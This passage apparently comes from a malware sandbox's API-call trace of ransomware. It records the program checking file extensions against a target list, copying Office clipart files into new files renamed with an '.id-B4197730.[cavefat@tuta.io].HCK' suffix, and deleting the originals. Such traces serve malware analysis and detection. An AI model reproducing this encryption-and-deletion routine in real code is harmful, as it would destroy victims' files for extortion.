(lpString1=".xlsx", lpString2="5.WMF") returned -1 [0172.260] lstrlenW (lpString=".ppt") returned 4 [0172.260] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0172.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0304875.WMF") returned 68 [0172.260] lstrlenW (lpString=".zip") returned 4 [0172.260] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0172.260] lstrlenW (lpString=".rar") returned 4 [0172.260] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0172.260] lstrlenW (lpString=".bz2") returned 4 [0172.260] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0172.260] lstrlenW (lpString=".7z") returned 3 [0172.260] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0172.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0304875.WMF") returned 68 [0172.260] lstrlenW (lpString=".dbf") returned 4 [0172.260] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0172.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0304875.WMF") returned 68 [0172.260] lstrlenW (lpString=".1cd") returned 4 [0172.260] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0172.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0304875.WMF") returned 68 [0172.260] lstrlenW (lpString=".jpg") returned 4 [0172.260] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0172.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0304875.WMF") returned 68 [0172.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0304875.WMF") returned 68 [0172.260] lstrlenW (lpString=".doc") returned 4 [0172.260] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0172.260] lstrlenW (lpString=".docx") returned 5 [0172.260] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0172.260] lstrlenW (lpString=".pdf") returned 4 [0172.260] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0172.260] lstrlenW (lpString=".xls") returned 4 [0172.260] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0172.260] lstrlenW (lpString=".xlsx") returned 5 [0172.260] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0172.260] lstrlenW (lpString=".ppt") returned 4 [0172.260] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0172.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0304875.WMF") returned 68 [0172.261] lstrlenW (lpString=".zip") returned 4 [0172.261] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0172.261] lstrlenW (lpString=".rar") returned 4 [0172.261] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0172.261] lstrlenW (lpString=".bz2") returned 4 [0172.261] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0172.261] lstrlenW (lpString=".7z") returned 3 [0172.261] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0172.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0304875.WMF") returned 68 [0172.261] lstrlenW (lpString=".dbf") returned 4 [0172.261] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0172.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0304875.WMF") returned 68 [0172.261] lstrlenW (lpString=".1cd") returned 4 [0172.261] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0172.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0304875.WMF") returned 68 [0172.261] lstrlenW (lpString=".jpg") returned 4 [0172.261] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0172.261] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0172.261] lstrlenW (lpString="J0309598.JPG") returned 12 [0172.261] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309598.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0309598.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0172.262] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=33264) returned 1 [0172.262] CloseHandle (hObject=0x388) returned 1 [0172.263] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309598.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0309598.jpg")) returned 0x220 [0172.265] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309598.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0309598.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0172.265] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309598.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0309598.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0172.269] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.269] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.269] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309598.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0309598.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0172.274] GetLastError () returned 0x0 [0172.274] ReadFile (in: hFile=0x38c, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x81f0, lpOverlapped=0x0) returned 1 [0172.278] WriteFile (in: hFile=0x3b0, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x8200, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x8200, lpOverlapped=0x0) returned 1 [0172.279] ReadFile (in: hFile=0x38c, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0172.279] WriteFile (in: hFile=0x3b0, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0172.279] SetEndOfFile (hFile=0x3b0) returned 1 [0172.280] CloseHandle (hObject=0x3b0) returned 1 [0172.282] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.282] SetEndOfFile (hFile=0x38c) returned 1 [0172.287] CloseHandle (hObject=0x38c) returned 1 [0172.290] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309598.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0172.291] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309598.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0309598.jpg")) returned 1 [0172.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309598.JPG") returned 68 [0172.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309598.JPG") returned 68 [0172.293] lstrlenW (lpString=".doc") returned 4 [0172.293] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0172.293] lstrlenW (lpString=".docx") returned 5 [0172.293] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0172.293] lstrlenW (lpString=".pdf") returned 4 [0172.293] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0172.293] lstrlenW (lpString=".xls") returned 4 [0172.293] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0172.293] lstrlenW (lpString=".xlsx") returned 5 [0172.293] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0172.293] lstrlenW (lpString=".ppt") returned 4 [0172.293] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0172.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309598.JPG") returned 68 [0172.293] lstrlenW (lpString=".zip") returned 4 [0172.293] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0172.293] lstrlenW (lpString=".rar") returned 4 [0172.293] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0172.293] lstrlenW (lpString=".bz2") returned 4 [0172.293] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0172.294] lstrlenW (lpString=".7z") returned 3 [0172.294] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0172.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309598.JPG") returned 68 [0172.294] lstrlenW (lpString=".dbf") returned 4 [0172.294] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0172.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309598.JPG") returned 68 [0172.294] lstrlenW (lpString=".1cd") returned 4 [0172.294] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0172.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309598.JPG") returned 68 [0172.294] lstrlenW (lpString=".jpg") returned 4 [0172.294] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0172.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309598.JPG") returned 68 [0172.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309598.JPG") returned 68 [0172.294] lstrlenW (lpString=".doc") returned 4 [0172.294] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0172.294] lstrlenW (lpString=".docx") returned 5 [0172.294] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0172.294] lstrlenW (lpString=".pdf") returned 4 [0172.294] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0172.294] lstrlenW (lpString=".xls") returned 4 [0172.294] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0172.294] lstrlenW (lpString=".xlsx") returned 5 [0172.294] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0172.294] lstrlenW (lpString=".ppt") returned 4 [0172.294] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0172.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309598.JPG") returned 68 [0172.294] lstrlenW (lpString=".zip") returned 4 [0172.294] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0172.294] lstrlenW (lpString=".rar") returned 4 [0172.294] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0172.294] lstrlenW (lpString=".bz2") returned 4 [0172.294] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0172.294] lstrlenW (lpString=".7z") returned 3 [0172.294] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0172.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309598.JPG") returned 68 [0172.294] lstrlenW (lpString=".dbf") returned 4 [0172.294] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0172.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309598.JPG") returned 68 [0172.295] lstrlenW (lpString=".1cd") returned 4 [0172.295] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0172.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309598.JPG") returned 68 [0172.295] lstrlenW (lpString=".jpg") returned 4 [0172.295] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0172.295] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0172.295] lstrlenW (lpString="J0309904.WMF") returned 12 [0172.295] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309904.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0309904.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0172.298] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=8420) returned 1 [0172.298] CloseHandle (hObject=0x384) returned 1 [0172.298] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309904.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0309904.wmf")) returned 0x220 [0172.299] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309904.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0309904.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0172.300] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309904.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0309904.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0172.302] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.302] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.302] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309904.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0309904.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0172.308] GetLastError () returned 0x0 [0172.308] ReadFile (in: hFile=0x38c, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x20e4, lpOverlapped=0x0) returned 1 [0172.310] WriteFile (in: hFile=0x308, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x20f0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x20f0, lpOverlapped=0x0) returned 1 [0172.311] ReadFile (in: hFile=0x38c, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0172.311] WriteFile (in: hFile=0x308, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0172.311] SetEndOfFile (hFile=0x308) returned 1 [0172.314] CloseHandle (hObject=0x308) returned 1 [0172.314] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.314] SetEndOfFile (hFile=0x38c) returned 1 [0172.314] CloseHandle (hObject=0x38c) returned 1 [0172.314] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309904.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0172.315] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309904.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0309904.wmf")) returned 1 [0172.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309904.WMF") returned 68 [0172.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309904.WMF") returned 68 [0172.316] lstrlenW (lpString=".doc") returned 4 [0172.316] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0172.316] lstrlenW (lpString=".docx") returned 5 [0172.317] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0172.317] lstrlenW (lpString=".pdf") returned 4 [0172.317] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0172.317] lstrlenW (lpString=".xls") returned 4 [0172.317] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0172.317] lstrlenW (lpString=".xlsx") returned 5 [0172.317] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0172.317] lstrlenW (lpString=".ppt") returned 4 [0172.317] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0172.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309904.WMF") returned 68 [0172.317] lstrlenW (lpString=".zip") returned 4 [0172.317] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0172.317] lstrlenW (lpString=".rar") returned 4 [0172.317] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0172.317] lstrlenW (lpString=".bz2") returned 4 [0172.317] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0172.317] lstrlenW (lpString=".7z") returned 3 [0172.317] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0172.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309904.WMF") returned 68 [0172.317] lstrlenW (lpString=".dbf") returned 4 [0172.317] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0172.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309904.WMF") returned 68 [0172.317] lstrlenW (lpString=".1cd") returned 4 [0172.317] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0172.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309904.WMF") returned 68 [0172.317] lstrlenW (lpString=".jpg") returned 4 [0172.317] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0172.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309904.WMF") returned 68 [0172.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309904.WMF") returned 68 [0172.317] lstrlenW (lpString=".doc") returned 4 [0172.317] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0172.317] lstrlenW (lpString=".docx") returned 5 [0172.317] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0172.317] lstrlenW (lpString=".pdf") returned 4 [0172.317] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0172.317] lstrlenW (lpString=".xls") returned 4 [0172.317] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0172.317] lstrlenW (lpString=".xlsx") returned 5 [0172.317] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0172.317] lstrlenW (lpString=".ppt") returned 4 [0172.317] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0172.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309904.WMF") returned 68 [0172.317] lstrlenW (lpString=".zip") returned 4 [0172.317] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0172.317] lstrlenW (lpString=".rar") returned 4 [0172.318] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0172.318] lstrlenW (lpString=".bz2") returned 4 [0172.318] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0172.318] lstrlenW (lpString=".7z") returned 3 [0172.318] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0172.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309904.WMF") returned 68 [0172.318] lstrlenW (lpString=".dbf") returned 4 [0172.318] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0172.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309904.WMF") returned 68 [0172.318] lstrlenW (lpString=".1cd") returned 4 [0172.318] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0172.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309904.WMF") returned 68 [0172.318] lstrlenW (lpString=".jpg") returned 4 [0172.318] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0172.318] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0172.318] lstrlenW (lpString="J0313896.JPG") returned 12 [0172.318] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0313896.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0313896.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0172.324] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=37146) returned 1 [0172.324] CloseHandle (hObject=0x39c) returned 1 [0172.324] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0313896.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0313896.jpg")) returned 0x220 [0172.329] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0313896.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0313896.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0172.330] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0313896.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0313896.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0172.334] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.334] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.334] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0313896.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0313896.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0172.338] GetLastError () returned 0x0 [0172.338] ReadFile (in: hFile=0x39c, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x911a, lpOverlapped=0x0) returned 1 [0172.342] WriteFile (in: hFile=0x3a8, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x9120, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x9120, lpOverlapped=0x0) returned 1 [0172.343] ReadFile (in: hFile=0x39c, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0172.343] WriteFile (in: hFile=0x3a8, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0172.343] SetEndOfFile (hFile=0x3a8) returned 1 [0172.348] CloseHandle (hObject=0x3a8) returned 1 [0172.350] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.350] SetEndOfFile (hFile=0x39c) returned 1 [0172.354] CloseHandle (hObject=0x39c) returned 1 [0172.366] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0313896.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0172.367] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0313896.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0313896.jpg")) returned 1 [0172.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0313896.JPG") returned 68 [0172.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0313896.JPG") returned 68 [0172.368] lstrlenW (lpString=".doc") returned 4 [0172.368] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0172.368] lstrlenW (lpString=".docx") returned 5 [0172.368] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1 [0172.368] lstrlenW (lpString=".pdf") returned 4 [0172.368] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0172.368] lstrlenW (lpString=".xls") returned 4 [0172.368] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0172.368] lstrlenW (lpString=".xlsx") returned 5 [0172.368] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1 [0172.368] lstrlenW (lpString=".ppt") returned 4 [0172.368] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0172.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0313896.JPG") returned 68 [0172.368] lstrlenW (lpString=".zip") returned 4 [0172.369] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0172.369] lstrlenW (lpString=".rar") returned 4 [0172.369] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0172.369] lstrlenW (lpString=".bz2") returned 4 